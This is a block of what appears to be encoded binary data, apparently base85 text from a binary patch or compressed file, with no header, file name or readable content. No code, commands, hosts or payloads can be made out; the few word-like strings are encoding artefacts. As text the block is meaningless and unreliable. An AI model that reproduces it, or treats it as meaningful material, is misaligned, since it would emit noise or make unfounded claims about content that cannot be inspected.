z4BzXqtUe8BE0IrTP2$pW+B7N?2;iHvyXon8q=4_bC&qnvJQ(3P*=Lxk@@^|^Wa1hI z4tPvS#GN2-)^F zeq~6536*W(c$)ql??+oFC-7q|3+akSQ_H#+Mni+`_Ttp@_D9I#pB*W?hhHu$e8Gl+ z`p^v*DG6}1f6xhNtFErj?8gDIw1cm3?Hn%)zP0(go@9UiAO5yZ1^|PF_OgA=ZAR;6%DZ-3G#r?{gzG8Hc*9teskO*P(D^{+& zJ@v$t6yFshVNxCdWU(9;+qxUwV1c~&nPfcq%Fs(rxP3t_%yi(OAf%J70!PtYn#jgQ z*0y&V{PV`fClQ#fJ{={E$YIb!{67j6=3DpDdbm)_L%Clr`QM&%LX)%M{l(7?H#S%U zqDn!p^em=lW=zWo2Mort-l<(}HnK-!MMOmN1C9IV{(xbN{a@bG+r=|czo6#o zkT(++$(jqp`+;-Z<28Zrl3!4`N^2(dzbwQ9K%4kT<2U7^sYQ_>aH}NAkK1~D@<BwX58d)H?HBAN_zsDb-)PO5*-c z&#iL?(ZzBl#SsdLeXRXOEhWVq{(%3G7Amn;&c@P z?N4;X|6>Eb6!Qo=MO%-JiiW&pIPAU!fKMS zq@p6W^HnA}xoTxiq^Z`3j0LNU)>92|mLuDz>Q&^8bZIDHfYK&qI#1J1)lFx|kv>T7G>4U#oem0p}ZEPo~BlSVi?i zF5)QSDb~vWZ?xO|7!@#`&If(ZtmVkd*#<>NuJsc4ELswC;1w)}2i~Qhj5= zrk+`X2Zolt3e*lhbe%-pkWcurnev>2iRDxm8*4e3CZP4tBBO)Sl za(UTRq0?~T!Ua;e5Qo7FG1h;ed0Nyjru59cq=v!|FsU{^wK@Pht1C(>Lv=YWF6%Nfj6747AS=!)h5*H zF4|djS5I$9Ku2rd;*_53JYbkti{5g|DO=?swP08VSy))ScW`)1P2G)y3yiGD%?*v> zkA%sZTZ=%-%72Nk2@zw?XS5x8Y(J;#d>Rk`4$%rc$2~j z@7;0hgydw|puC)%7gFI*y(_JpADk^^E z<*aV2- zcdqj?Dl!%}5m5x2pWj(#47p%mC(r0_r}IA|0ye@ zMcm!p1;gxshKVU=rGVk!a9o-SCZLb_Z$7t1*>{FN*(kpmU_tkZugR}wziLxnVGpaR~)t4{kPnM&@}@{kbfOA zmG7W9em3j{pcDy=BAW%Dn~BalKe!4B2@4t8nzQU~x>$bwin|H!zkqUjT(KgdpoFgv zT2^W|;jVfKTDS&=gha&R<2e$WnVD&F+GbtERlO`!P9ZHa2A+sOTsL6S`SJc*9^5B0 z{0W}h3k%}`FfXDiFD%5Yjj$PGG-g|p(%bBRtP)=K9Xzxy*(b*4qlUR?9PgaEI=Hs; zO-?SZtHcVTj3WT6zty5L-#&9Nqu0&ITr;!{866!py4TRqprHk!)u+Sv0dsx%rX(kq zfW8f{lQq4xyd1Q$LQy&jU24LkI6j7-==ih(27}>ras;U+$Ha{48L#+U@22!AT3A?k zx@`S;hyKGgke-p*p}uZ$5v!Tt%S7*^QkD=CN_a;$2L(R|(ei@g;^O==%ahw1?=LxjqN9^svcKKdG`_yQza8Rj4>4B?VK}Lo zR<&o@a6EHs!de%uav6Z3YgSoao^GXBu3s+&iZm)J*OTTvq}IHF7-y=*c|Ys&_S}4W z)6m9@{`$KkH0!weh@`sqCqY1zjo#=HdJvNlER0oFDxQ&$iHba4;Ca5aCN1)Mh;1Zg z*KT~_aeX8O7Vk;vr#bb8RP#y|B@2 zbgU%0zG&Ot4^x;0lId?@LTxnrI^xqPo+8j^J)M%KV#O-f*2ZQkvmw7$ZAn+t52m%F zfbarX@H3F`eKMs9)5?bad2ubSr_@%~)`blDB_%TBT@w5-IZb%~F})l{%0q)7h6%Tm zH7eZ}Z*nFkCSwUn=mJxi2jkD5Kc{Inb`HXCz|sa<{5ygsN@Hp7%D$)Ay=;r2kc|-b zVDt29-OijLKDBcZcXcI}lb8QS@S<6~`qJmN#uR>%n00il58KlEOX4mEJNpO2PBX5R z8%&<-(t|Y8(#eU3Q&f1#97hAskS5WwE+yDc99_iv_WtR!EmSz*pQZYrVm@A?cZb=_ ztA7susjNJ1*86sUcyRpVF2iHI?K-12->A&vkk__BO9dYR2MPZbb4dy(LmWRgZRr~^ zE>wxQUdeHlyp(07IqtP>RzhM(_?o@YXC*e*x%+Xxv3I+!{lt!nvL6p{xkJ`BTG1Jz zDWy$K3lmN^`WyoTGlI^U8NxWXP0XJkvnq9Q)@!B)q2!|T4_X?(@-OxM{rj^+1#JV_BE*cA!Jw<} zH4%JA5tI(+dPF@2>$3t@U^3II;TH22Tz@tD-LNzN0|LJzEg7iRQ9HoKQ{Nkbw;8@=F zomvtjfRP77xpOq_vTT&6ci7Z7lWO9p+2ujjAcF80Sy|b*@XbGeq81h^FX&fTMo22_W^MQ2qfe3S71EC#9aOYy6A<@x5*>H3+Zhy;p5t#)1siDbh;1WA|WG(O{r>H_(ON1r~x-eQQ-M0 zR8(YnCtvC#>#Pq_0Km~I1NHkpzYY1WVqDa8KI^!v9#2oeVoT_t%$JFqmcmmdbD89n zY-YfBaa63~n>XR80=Ox>L#tGaq)%Dw^tyU!P{q5fk{ip5)d&cSOSRc$#j9wz3Q{W(P8*&FqW9xjK}-IzLmK7NP-a; z5*y3&a-Y0-cVTeIJSAh@p7exAJ#`q|x>T%`^@f2#rwA((WdG6|C<@r@e|lpQvJLgo z6d-kOJvxD}E>d?1IZP@WaOm6VkdZ|`JPAH;^?fVwCEZYnFQg zEjt~f9*rU~e2co|xWo~YR@?w0^l#rzuW#+4p@tBs2J_?MZuGfg0np{I8Rp1Oh+e)W`qYEt&wbC11lCWHj?9B7VYVfxEjqWXH&S`}cF=SlOp5e!`)tE`%26yP-DH zHGW1-^-8Dj&f$PJMdZ$Uo9y=Q;gFPmQr#!Ep1%umZhNIjWVs$YIT>+$ifPxZ9O32i z3Fyh$EYQ1qRwL76@vbv@XuNOm-27M9-ut13?e;U%S|PB(IXE)h&}sDXGlu^v$pA^> z5M=d?_{rAkWaoaUc%DDf`Z4obZw~CcyH5PV`Qd0#O;y!h=*qUmR{kWUd+&9d6D*Em zuNwlAzC5+AegYUB$!j0?R3ifMjPwE5+?7q1*-y}A&z4&kTaRe;zTFr3inRc&U{KEB zO7pie5NiA54w=1^=lP`uv8YW3#vNaFq;G6M0P2;Utk<)O>B+iO(Zf>q-u{%l;3`$B{O&yNdF0WuicY~9G*z9bM zT9m1l0g?=A>hUm~=~XO=TxARZiVl!C7BLR*Z7Zh2pL|f2!XKIyI>1dP*KFvX5|9|2 zY-MFtK+fG6ifsOmql=5QvR&2Eb$aI@!bH>X&@1T}r2NkVBrvdUSQGCR8#tenVf19} zf4s@xuEAcIwfqS2{HapJ?S*&S2K_C?8u3q80Ukk>s6m80GI@62ON(A}D!|Rg!Bq!OBPByLbQ@0`p%Dz@!s|}4-Yf) z&DEuT=;(lzN&@HQ_uZXeJvSYd0(^k|N zK0Ne%&_sH1%~hH1<4D%Qt%S4XriC&w0+_#v&R*&-k#KWM1zKjw4TEpUi=~UI);FRR zqQ2T3FT~9CdPQ3Dh!(>>U2_8*8o+_c{5NfZ#s%4cCm-5P;BNNQ-@FC(hd%gIU{HJl zVgUcUEcfqKC|IyC2_X2J0|`|Ai`4BE$@@ zNJMKUbV#W^FGZzr_dB!|-Wm7`J>#7}cj0G^&$-pPV)Wvi>L%tomZ8Y?6~Tte?Ry5m zRzq_-EV496Kqumqlf07ZUv z>8p<)V|d_uz8FzLE9>%5>gwvQBwj)KzsgOe|NEtbv7v%HzMgkmuk@?M)tD3Iwmo8B zvmT@b_=){%Co0&KNFf^u>OMF;fJKoAdYA=1weuZ*wVaxq^qoCMCix6(CHo(HW7|(c zltZMWF5!mqR0;=6_I3H@{C6j2K!RMM!wHCZW9|3h>dDP5?47v<6^(bqKfAQMM$JJD zepLnj`<*|OfRvdNhr2ch2vH{to`O@BoJR$8!a69JyEx35t2kTH)s#LDKCAEkW8bvL zwNl$?^y+_K9Ne}8t1JLH3gLmF3-!j{*)HBZ(h+LQD#lh)a7@Bxc0>9}$6eYGF=xz*niPj99@r}Ey9dOWjV}EN>s9-k8e?#+t1piZ?+&0b)%-t~j z-jym-20Vvqav1hY{0QD4sOuQjjYqN473Hv;t^ z&XUf~&e@cLUBPdtsb2yBENebDoWsMzB8Mm08|T5{h<^wFlfM0XJ78DrFG9$`uWqOm zUN}YDi|ahU)w_$IXlU{df&=8(Sch3gUgczWYdQ+s-{E{;z~xG|n72;UA*8OG1d!eS>%hpd&FTH}kB zOw!?XUoYh7?o0Jp^yrjIF6^r8i z`}Z%{Gel$Z^767A&oWQ6Z^~f;ZM%(J&>2HIhN7!bK3Q2!jSV{TN!eGeSdr>YC#6bk z?3uT#0aCIQ769NMAD^!amX)qd@%HJKHHK1jKBrH;@qIJUvl@eTPpwM7i4dtKDyc@p!FDf?YKLt(E)g0U8u)e?tA#pQq}ic(hOLJN zo0Wv?`1p7>l-sIk=&E7CPYF3LiWufYfL;&FAYQ+~k5G_YSaeS;!UPN5*AFTK=EiUM_@u{&?j*$qgQ?m6An@8Qpz$@lqt;c-0{K1OUxSyM zzd<$*S)@QwPT{=z1B1|x0cHkioPo)AjbD^rWwr!S!mZ+Nu~k zM=Ucb&0ie#ii)w5Qj6q^MM+sKIHat4?2tO0^uX@=>LXCZ6FYXdTUkZ@ZTSzK(ofz3 z-U{~0vu7_QW3uG&{frIuRK+>m>39c;gAiTPRp#$r-ZBGLD0xJ_+)T?Dba?A=K&wxM zqu5E?&BrsutgYE>mKyzj+Su6H>(f!VIZmD|v|F=eWMnFieE0C+9O^eN z*O{!O#3x*_LdLtc)a1y>&YmRmBB~t`^(w!ps9s}UXuL#0iY||;&FInH)y*v|b^^UG zTng+smiA7w!`n-VHh}y-=rvK*tTm=5pDiv2Uu^|prPWv3-OJ2N3TD>jlVU%G2$TwMYs$|A42 zTI|^EvH2S{zD4ib51oheb@usagi=;}Vg`Q>sI#0&yLbBQ{o*!^k09-s$Ck@>Q>+!C z8-CsXOhP%=WZ*s8Y&8#EN`1dW)ixn(rwka(g-H^xD#wj(^C(94QZVSD?v&;WU}-^Nd0f3 zAY?aNA${1u)B0r3X@?O8$}y5a>>rsy6!Swc*46Tt;uCJVAf4gNH_t-3m7;`-1h~)J zPfxB^d$qW#%FD@NlM_UJnJF^5C{an_wPvPQN(&r{_wMg~C2Dk#Ff@G|6cika<8yUH za=P@^tM6nFmnZ4`{JihGZjDK`Q@QBl1q}?*Su$BLuSQ1|N|ky3Vba#s)unAK$;o*? zY{)#A-s=}p%dKAFfJ-w8Oy*!1@|wQ)-aXdK5cSay6f^Yoi7~SE?dQeRcQ5bh`EXx= zN@Ca-qa^d)qO-6YL~%(6d3g5ui?P=qU2Qcvq)G}#oL(cebBj>A?=w6;a3B3S z!X_XHn@yUn{6wjSP;b3Vt$$lmQj+CF9FAC|Idv#%zk#HXc2V1knsjz!*OC~ zz#=6eyxA&EdJvg+qPfu*v5V_wr@tN8=5ZyXo#3~{qS32aY>`vKr8?zm%R2M>w?u9})k36X|Q!76;wZeblxrK?hkTtZyL8=aipWz55N?5q+8)ic8cGCp=44F2yo zQ&+BfZ$S8jTO&_H$#^h+U)Am|)Ld$GCa5NwpgG=f)9r9acH_q~P28zJmJ#=|en(+e zL_;M4ATrLw#v>0a2$ZLmA|?CkA@M;=Ha0_$`w`*ow5mNnmww7Qry3I4HPhSe&AZR8|^UD9)56hq#Nr4@}MU#vIZ1~ zgb>&9{My{)kkv+sl4Z|)q(9N#tI)UlDHCbn+>JuqmLhzpVRbPNk?)-BX&WDTZDTnr zGmOfDFKFkUMNUrM7on%4!Ej%LtBTh45jgpVPg+$qPl7j^QZ#xgLpLl9!fpT{BO^00 zxmZcwXI0oWLdTq`bA?8-b2f|R|H9=d+8xV$t;C_k!^1mVA9>+)wDMCei$9wvpFfh8 zIM~_8uw4|Hpl#jLEGUTn#%6(W;|*6X3wgMOmBo9*_ivV#maqv4XIbV}a6KzwjsUM` z>pC3K(Z2WI{34)K&2j)+K%~F6JZUhj<$fW{9%U&R8j}~d2u+hjWbJZyVB%E|#8{0g z1XUre_FP#nN+_H@ss+CN9ooIS7i-A%z|=@glEP)p%xk?6T2$0ACrnLGFBOQ8FSxyJ zsuvp|+(Ks^0X84)L&zqd$^8WM^d`ozH*}p#wQ; z|0o2#_~rOqroj$Qy~KUE*mQ*~vL!oP{z?0-S^tYPU)nn+=zN#zNfoG_mM-DiJJ4sG ze~kiRYw*kOL1#6n$LID*^+P`2SwG1|+~|T@SV}o<@hhaiMFva7^g5&$+SxmIA7^?~ zW1pQnz{VQPp#pHdHf;k}IqJ1TKPv)4(V%j88^S8ANI(&^LppWMdZ(~DJ{wE*o}Oh) z`3j=;dnR-uvJm@_b!s{{!*1gpqxM(XQGk?mC%5v8ag z#-Wfo)|Qo7_WBm=W(0g8p|Y@g@YwQ2A;Q#-w!bk_n7d@t>S4fJdI4=_kJmHiv}2}R^a?3&0s?P!86Gb1k`^H{1%6C|QlES$ z!e2(=Ad^lDb;J_(dd0>67=(N$nJFG>`pQ{@$<|V>Je?J)Mv4bND`bt=V|O z1*4SWg7#v8f{qTELdFS=cNR!&rKhnPOxG8(N&?0sW-|U1k{8g=DQ0hX@Jn|7xB(o3 zfzI3ciBePlWbi%;{~uGUM^pvo22gixvh?Y`R^%{W>$&7y_8{;5f3uo_{Ld|+ypC)_}pn!&Ve-8Qr=n)`lH zFcZ;kHLpr?-}#Hi5qzPSv)%=C-kIXg>zYphF($3t^O4M>2W@PEIeYy^H)b?B^dFaw zLO8c~!-}&@C0svF-D(R#+uPG=3*T;yewpXHb-+EcvMvzL@y%i6Btq5k;*%G^9-t2l z34$@#eB7+Y=hN%bg4(w;>l-z4NK(Vgi^8#p;fO8`?_@qUvBaWBPsSBy&rc0ST)Mz40u16>2qlvjUyd8*{ z9Cuk@&_*pbs;659I1ATbAm3PgqNDWiBAW~z(#YK z5@OoD3UHEaLad|6U+8pW=FP6Nx5EPhrW=KLwc*hONyzb1GgGP5HFP<45W$>fqkSo6 zt_ytb=-6wqYbD-)S&cz@+A8HekU+C}SJ0Z!qBrnMedHTyEkU&>I+hgQ@lrbzm>EQa z3ysfaojB8COdRHjr(_1SOO*WGOG(vh7>*dwe$Ybc2F)Db2vpNTfs^G)nj7P5S>* zJW4@*iFDba|6d)>N8Xtq3tC2pcYR_fRQ@Zf_kDL!%v!xXv2Z`%WzQ1dlCfZ&#@TxQ z@+DYDSNFA{Vd$4_4#Camx+pD^$ja)gS?;f*m&zaP>=Im)Y`Es$&<$pE%Iw7HwuVtTQ`<&a$ zQ5t!=oUS}fK|{k#^E9VWc21+d%GwItRB2;TT-#>-pVm=-n++lnHNjv)X3ba^7WrIQ zL?plUyTNz_N-XzFOdRZytF3ELR3M($P-g!G{&yDx-U0(mOs}e`2bRgBhNu6+MB2M0 zMwF8NKVQ&?`*G%s?@UfiFfFl@B5lTPhj8L>QgSjm8P>sn)N)GX;&lC+XeT*0Kd%A6 zBl@o`5u~qd+&R%~%RT9~au&Y_U*1P*wyoSMQfK|MLn8h7pO)MaGw|ihfhGHA6*M){ z97hLO3Vd5KqCOJ3;n^`st4oBWCJr(}@sV_qeh9tX|J@Kk{np{3XZH(_0o)+-I%DrQ z=z6>potN)vc1=D4*Gw_)c7~;HPJ~H(9`l4MTGNP=?5x z3%{osL@#l~z}Z^+=P!&xvlCOp(628T#l@944iC^cJ-xidkrX{}zQIn>Op}eYi|+sQ zc4u6(QEiT0?*7&Nn?Z;!N}D0p{N-QJ32W3lrNj=V2^%_S@4g{`k~`B^RibM~&@xsX zR^7Din3EJ`eub9!y=m0{D*f?Hy;jom_l|fMadtFlIa0!Tlb)O>HCCNf)u&n;tfd|0 z0n_&9;v5Oh`|(3(AJ*rRUH6!p<4bPbyoEFgH^zZS~ zzY9mSKOVA9a=^|;4^cwN^%=X?rsn2(Wo1Zv_*?o_uXYB+1qTQO_V)L0PZCc}PBZfH zJ(yA?U)_vj>>ccV?);WCh6c=$P54H=@Zq5u1qH=332x=6kMABjRVFC6_|g&5K@zQu zf>Cl)3A8VP)nWbA658F9S6d*%fe&8K$gpOwD6Oi})V8s)X>{5k7|z6{=*pP(Jy}=Q zwhvr8UJyJU$&QUX&_2IRrJOZ)KW{1!Y4{1M=xlBAG$oT{0E3^>((WIgoymH5cvPGS z3kfMW(~EN{?Pr^ro0=~7#u=6AtOYeTHfDK?Ht<%kb8(TvVrZmIWgfjzS2tU9M$Y8Z zf4BZZktP{G*6`V;53Y5-Rn^Hlqr4EmkOZvgkK9c6M7z-URto+1JH{0H<280KOr~2& zDJ=MPM$f5a@WY;wU)+vS)g;TyA?VGUfM;MVf9n*Q#Z zG(Hv(Nx|ERDuUv2U2o%9wxlA7*qeE_B_Y^v_xnfqP`Zfm&J_3Y?Y{oc$`7Mb;XVLK zSG-A$$+4}_;E+}gz}t7OHmihty=!4nfR0-bs-vYh;x7>iExAtr)>k%6Jow2BOs zv4~t6R8G%Zylq@VND$yGO-|AS}T#f!* zW6^DroszPRTn(3=AJrIK`w64i|&qgU;(_n%bOdZDYm@- z8|>XfR8U-OvZo`mJJ+I%=iwUVkA|kzJfkpXKZx&9^!t~<{?1P-w}VBpSV?dPN~a3# z9gdFk(+9gLq-krXNx-V#qmE%m(!rIVc5U6AmnRO}6YN{BJ(MpmFAtB8p$eg7jZW9X zAFZrp?cG0pS{~d|x7+=oeR+KBxN>k1E9zvvdVSEAFzh^05|?^7?(Y7{onDfca47c6 zk|Lnl=k_U&9*DO`Qaw=&4ED^7z0Vf+c*u$Dd}lDO#Qcfl3DXy#_uN|)lS}m27`C~r zLL!M=m{DZl*w`EE`5$EI!nTPYNhX>|$GBlQJ2O63Wex9H`0l2$DkaQ;AIW=|jgGU;Y+aD4hro2Lj zF{j2dFQ;M@(W?RY%tA8RJAhb%!@n1%jEb|f3!dmlL`r*JFXfXa8*vN=V4SS1t}r-te~!`}sWeR-e5u1&TviXPkNY`2{2mGM=8HGKQ%=WJLCj zBkp*?Qb$`y>`*jyIuW}$CKZY<;;!NN(k~|)LxGcd!CJ<4ym4~%z!*+V1`y~mGjn%K z|EJ4s4OPL(#o>270!RSRZ6AV!OD4TgG%Pd$3*VkoOa8EA8hq*TKYy}WJ0~Y)-vog^ zq?XuyXm9nth9V?fPe1T>C67njF4dFmOjmT(SxtX>lQ`4F!UR=R_=S9C_WKJ>1~mx2 zPb(W6p`tYw#&fl$sr+XA>m%u$9(RL##q`FH-Vbe0#=~XMGjdY0@{snW9660~SX46n zIfvdsg))<+ zLKWpX5gCWTZhs*C?8Qe$BrkbCRCr~eN2AFrWi(y>vg8+9A37GklPaNGS!F}Q89K-> zg@#@}f1#S>Po#-OpGwqHTAR!&m~ndPfuZ=cjM1x1c6pDcCW$5DGSV`^UFRid+vMBR zJ`(Y*-CYx<6FpJ}@vP|))d;H9xlJ<@*zo29tOrgRkM2b{SYtO@n^kOAB`8-(5WmNZ z^{=Vs@tVCZ^QJwh%K13JlF|Lc{Ff$t`^w)dRu86&k-&;JTL)0--RQ9zB4bM>%Eyqf z-aFJ6caR#<7gp$CfC6lAr>@Y5K)*zCR9w>3jxqyYSW1O&!j_V#S*d7KwAZXny+oO3 zNc3;`vh$CKKsQvb#J3DUcchBLVbvQwL^Tyoo8wxwdrRsU=fh<*ZPmYk?kS`WwCn-O z1a_mr_+({eSHipDF&T4dmT}agNSB%ohR6WyJE~7S_816QvP;_M6wg5Ma|{71hb`+O z{CtHN{ujEH!mYG5QXIyx;s2v)PQJsBuoGK{S}-?EHL3U!PhJ zjk|}(GeN;eg@w#5{qF@6SBo+-0cHy3^-Cxun{o6E?ze1Sgq4YeLS(TG`gYLso#+{d z{H>wgMT?y}IYhA_W8pD2tuG614zV-~!QUde2)G}t(&W!+&o1TAIH?CDMwQ>3^M|jb zY!9RT{ayRcAEC*qshqFX)fP&rC{(8DRRTgh`412dS zM$7+&zF#}=*`E?)$*~rqxIhOhm?b_lv5C)!wZ}!ju?QP1{N3_c>7RxlTT6=`J)F+S zs|nuYz<4-6dnXfc>|*H9j?qTFW2L669(*-N{g>=8?0ozhTsNsvQu>wjokntgUNh;M z88aI@kBo{dIgT=h7#J1rg!jPNeR}FGfFUf0w{uKkS>Vk|5dv;r$e;s#qgMdIQH$rgE$lK;u2=f!H8)pobP z&vLe<+1pE2u1682#jqvlY^Sgw=PlZ?Q;l)|NRn`}spmj_iYa&jR(~rsTLCKJ;!O&D zs}g)h%f-nfrKW=BsO}i&&8dqbhjvCjA88{_l-PK;Y$bm_HIb&LWbmh<09Q3d7X*TR&L|V?x*B;n@;%mf4ndl*Sn3O6Pr9Lk=yWz zSIFVIdDwT(OU-BwHG(#4-MF30BP7MY!;3Sgi6}h@F=n;dgj}%E!zrB`YB&h4HV!DT z%(_cF-|}QtE^m!KuKN*C|8Xc(0~NBEyX#65z-j>1o>ydJXOmHu)~?v}H;YgUXQxm$ zYXbRl;@%I5klnZFL%nGZw71mA1<@_&mBt zDp6`^#f96gR})3#>!eeE=Pe$$T~_hfb5QH}3wO(9P;{#p^%ph8f|7CBad$IHoa zW3u#LIvQb!>q|u7l5|w%C%^k@$kPq}^asrk4cyA3jau#JLO+|O2CnJs3+P$4z5;A) z-%*Z8BQ1jAvB+YLf&a~&VQ$qe`+634S6HDXuaytw*PI^@zzUYVZVcz0jz)AHfmg3-0bRJ2M|s$;xt9#2cWz67 zn>L@OR39d~n3YQ{vPG9>3nl-sh=~P;w@GBU+#?ct2-!&VcSWbC&erqQ7)b0B+|ojW zikK28R_z)YA!Jnnqy!5z^7Z@%yH#3T*an4$_HlS3E##5sp|FF|ujbXST-;Kg%EV9J zC?f(5h2^vgSF)R(h%bMA2sIdZ2kGFig zgKp(nc9r>8+RaFA5`Na7T>F`lWH25Bw~c7;Y}|Orvxi^)X<;BGcgZvXy(9|J0~8cW zw0{x$cGN{^a=6#9w0wQg+9hJ>8(bwB)p5Kg+~|H35ELmylx8Yk~1{A3CmnrIB%_0W)JUw@T}yWiZyv42prxEa;O!ZtSTsW2ue@G| zN$w7Igmvq~={bJZ{e(7Dd{jM5_!h*%%G%|6>3B1reIMm}-ypfVba%rVMSUp&008W7 zuUv=;twYZb=0mr}i{Q)t=pU@DcU^8Vxkipynn!%ZdE0!`-M0=}xn4Z0aoSMfs;ifi z^74wUdagxV@sk1ahiK$^_WlGvl(w8BYgtTEWP7V%*sC_HViag|1Ts?Y-IwBiY zk6gRPC%EqHeTJwLCe_wfwV|wss1gQ7Nm&`GZ2zt0AKp5HfW7&KT;#POW=UykZn}JP zNh!M29Z3&gpiKL&Qgf*{qbs0AVvAX3|TESt?_N zdwk+>u&=KN@-+Ym$jy&f3<#r6tbZ)(`EJfZ?!i^$)YSC!fauJ5a8O2f(m+aFTwIL) zPgmpM7K!)@y)DZV>;a4Xw;YlXd_iGhdM++fA0IH&6K%Wow{_w@@t89Ptjx^sGgBxQ zrhlyTMDN&fqyL80L%f48jgu&=#PbyaGHdxo&6KfU6|QP4>=?RVNSgu2P9iGz;;~Ou z*1I^19yHLAuY8n?qrAaYAv5xLWj7b(Y;zF>Tp_qn7C9e+Ey|EMD(SC%1-WC{E;gd6 z5)y7j^$!eqmda9hgc8s|*Oi~fr6-^#ls>TfJ!N!*aDdxf{BEY|=;(ms=ezB!52b7U zbmdOw(dWqa0lS6)M+m&u`jf^iM;nV?X7^MT7i0NcS&A2_WHMYM-};<0Jvi(tib|Qv zB;R?;Dbn2$vp4T4)_fX;w72zS!^7W}S68EH!1X4#KU}nG%<)kI>Gj1yq}%9oD=W?z zTI?PUR@NrN7;Dx>Rd;vL?%r;t@$IKAF8oUL0^q^+ZWJnMmwAm=*k&QjuI-ZgWPLa| zwm}3Xlw558X?%i9F&MfOv&SI#0Wps2zSd8MBJN291dg}OnsQ3-L`4|{1!eHC$gm@L zu?1DOyzCvcnPae>I__Bx-4xJg2FBH!53D^A^T30_MXWYM0O?9B*a`UF0rRepm2R}@ zph1VfA~ust7HuAn@S+ah?oPr+5bzNFs4I08;Q@bCX3#>d+h9u!gq{vmv|ZsWJ{8U> z`k^ytCH7V&8-hXT=GOSLBFUKvmPCL`j_^>y#>O6N{nc)vd$%EZD=&k?*yDMz8+RU^ z=YL>&@m;^Nx;o%`uI}(?@qwzUs+KNq2l9!0PEKZ#3W=ewKNFvhXO1k~J3C*bw*k&C zhLiYoE{N91a^ao+MnW{gz%@G_0Ri-%ZU>zoDJU`|oaE;6-27D@iup{JxdwOPcxFIc zsOy}IS~o_T_GYcP9)If$TT7#?;=r|4!}tx)vAe!vX;lX3jc^6LR6*^vd|{HcSctzfz0w73wN?Xxt<}3otiivLT!`Qn&x;5mpbtxjZnTy#CC&E}Q+l6)IJcf-WS*9lk%t=r0bH0kI7(v%I=tEe1M>3Tcw{J*=f%eJ+&-o@ zPq41;?qZWVLsGJe{M@ra7VW+5hn_#zKoqo7%s7}~^~D?nkVI)7f=z5UdoBOCCEw74 zwrleIm(iUfhWGe27Pk@O#i|$m2Np2p*rei6Fq~I^n;0vKn(t3bw_6P!OMRKrZY||k z^NoX@ok+NCzPN-0zOAh-{77WDOXc1MZnV_ef;u+g&71h3@1k-6CRjbOPb2?^t5r$9 zBH)!UIo(WuN^D1h^$2WB5M&hU z_cAh~FH%ZFMSF&`ex806Lo4(|GKMa+JF=YV)FO-#$$%eqA9n;|RYLm}7~)CMof!%w zUUkdS*@aW{cN%5kAUuI@;q3syFYKS-tE=5{K+h>Ihv$63@$7Meo3of$j~<;WT$oa$ z;+B~|$**Q(Lgr(TZl&E}O~DdZ)O-ALC?jEYqnh!=pa(G-!uZ{vr}=F)kawe%{>?>eSoqA0>Kt3JqU{jgGy?tK6Xr z0U2Su&#HJvfar6kmm>vzNX-lo{c81f<=}vjkkAbnr2F$k^Cz_93tBjONXNiHzrExd zq~7K?MgpU-LUu*9KFdX;$zcWr z1T1gE13rI#eH0;=0mgD`r~`Sg3+m`B-FcBk@Y3Ai(}=kfox9doYS-fl50nv;Qu=Lg ze;m;F6@k=&jDB{y=9kshYBG&KnCJf{8_DDyMu7bZ5r`fr1E~BhNcWiwz6`~7s0|7Y z9zdWK5i4h%3cNQl@l1M3MI3&4vhMPdAnQzqfQ?`{L-hB+vyLisCB@_O^B(lb-U{Z< z&Q89a>9qJ{Xd;HwAvK%x41|S+>GVn^_cb1!y&fyf2N>)*J62e!+X_IUmMeNSqkqQ| z4c~A>;~VsGk+C(zZ}17=F|1O+X>9}s&1vx@;(uY6f+siMM1rdMm)Mt3=w!nBqJj>q zbTnc3a}ydtt!~p8+EbCMQ};(6_<$e_E0aKJtc%FJLeTPa@OqWwQcnmbcBq+z7h7jQ z;Fnp^W3L*Ek@$#KiwhnqHk+8_b#nwABxp@o*s<;OSU2Ee#2)0!hjd}dF*D+8q0@c# zSGA?;mG6UF#Bqx-Z^TY0Vrf=$DyE!@$6> z$hoAGi->POm7s3TpkFpIVS}RK-}Ht(#@WJ~bcCBqtv=}q&QeFL$Nd$KL)U=6h3j2`uQmIm$dSn+5 zU#-(B2ROX9u3pmrR;RqY<(zrui2p~s6IDS)oUVZmdShYM5WEfB5BT0r{YVoKHN++0552{CV%myj)sR zdAc>-(ENjX5o_KL%_rl{Edp~d>$~_Fb=~Hnx0K$6?nc+0ZL>UMpGD?ACU>2OuQ_ID z`R<9#o6=6ZM6bQca)`E89g1CXsT}%NR`%S(BQ0ZG3z%eM?Q7F2m5YGEVB}c3t4h^V zXw#s^WHqL5EKbcN#mwBBp$o&a^i9-`H-S=(GS1QCU4!Mw`+-k zN{0OdBMl20Vg>|_x_rL0JbI0Xa=@I|Y$2>63V&&QieD@<0oy}IoCu;+>&`M04+M~& z@Z0d(K%Rx*sT*^1nrE*J$vat6qq#V*w8g~8d^OO-H_+>5LQ~;HtkU>ls37xtKlP5V zRsbz~WF;P>|cmB|m{$5PU2+-qq85d!PN*TKlq7<+w|Q>6%) zAE`%f>6QI;eoyuoz z7#9zn9K7VXhAY|v#`2^lCX&u<42OCN3d`#s^=$=HZe)l0&Kd+&5Tva5E}C{ePO*-% zALFs4Hd)e)RomU!5D#>+on1{z7?an#LQLE0SsidVJe z>jl#hG`bEB#NW+HJ4Narv;l@-v3DM+M4v;k{ZV2lDdr#Jn-%e>i;+P64-l0l!4+el zIFL4kb>#N-Ng&k!MMTi{9Dg_y-y}*$O1iBn%Ei+VDm);?SmzSJwGoi{{Z2jLT<33w zW;pkxexR=gDP9JhEPyQu)jUee9LfHhh57e|LgC>(maV){PH}F?=Lg73URFisyOdGD z{{T=+2MFC2SY{&X006%4002-+0|XQR2nYxO+d4j40000000000000006#xJLcW-iJ zFKuOHX<;vEZDD6+I4*E*XGFOLR2)s$1~|A4?(Q07aEHNNg1ZEQySqz};1-+^G!O{x zuE7Qi65QQgci!*cJ=^DWPgnO;)vasKbGu^HRpro8Nl*a*0J?&_v<3hGI|cy2IZWFcc~Y4Br-RPBDTshhhDtbKz%*`_kw%;tYZl$ zYRTd6@vUNs21BX>=l{Aq8xjEzSgY>x%a*?C%9Tl@O@1_cFS{ND`0gkuvEY)nk$m6bF&F$}4;W{~co5VjpRUw=6{ zeFfK#PC7w420>OVS8<2t>Q;6VItJ!WI<~InQc~gSOe7eIYdt}Xz#{dm+}zxh6iF&9 zc-T;RIvk7tt>CU1L^NY=c7Aa1B_@WMl{MmVrw0<;h$8cS=f^-t13Y_|%HWA+y{jD` z#jF%Pe!Z#uQ8~+a?AHXk)KNIOA;%?vc~3Hu56t-Y1`-hK|0^)JW`!1*bZKen@$nH$ zb~t#>tm)7Gbumq!u$>YRwoXBw??NGqLX~(EfHgZp-st+#96-$9a^Ptpg$!rL$IV^e 